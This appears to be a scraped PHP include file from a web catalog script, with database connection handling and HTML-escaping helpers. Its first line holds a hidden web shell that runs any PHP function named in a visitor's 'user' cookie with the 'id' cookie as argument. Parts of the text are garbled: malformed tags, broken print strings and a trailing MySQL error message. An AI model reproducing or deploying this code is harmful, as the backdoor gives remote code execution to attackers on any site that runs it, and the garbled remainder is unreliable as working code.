<%>PHP< if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); %> $db_error=false; @mysql_connect($db["host"],$db["user"],$db["password"]); if (mysql_errno()!=0) $db_error=true; else { @mysql_select_db($db["name"]); if (mysql_errno()!=0) $db_error=true; } if ($db_error) { print "\n"; print "\n"; print ""; print "

".$LANG["database_error"]."

"; print ""; exit; } if (is_array($db["sqlinstructions"])) foreach($db["sqlinstructions"] as $sql) @mysql_query($sql) or die("Error at:
".$sql."

".mysql_error());; $db["prefix"]="cncat_"; if ($cat["sefriendly"]=="on" && !isset($cat["seabs"])) { $cat["seabs"]=dirname($_SERVER["PHP_SELF"]); $cat["seabs"]=str_replace("\\","/",$cat["seabs"]); while (substr($cat["seabs"],-1)=="/") $cat["seabs"]=substr($cat["seabs"],0,-1); } function mhtml($s) { $s=StripSlashes($s); $s=str_replace("'","'",$s); $s=str_replace("\"",""",$s); return($s); } function rehtml($s) { $s=str_replace("'","'",$s); $s=str_replace(""","\"",$s); return(htmlspecialchars($s)); } function mp($path) { GLOBAL $cat; if (empty($cat["ABS"])) $cat["ABS"]="http://".$_SERVER["HTTP_HOST"]; if ($cat["sefriendly"]=="on") $path=str_replace("%ABS",$cat["seabs"],$path); else $path=str_replace("%ABS",".",$path); return($path); } ?>Table 'malyshev_rugorod.templates' doesn't exist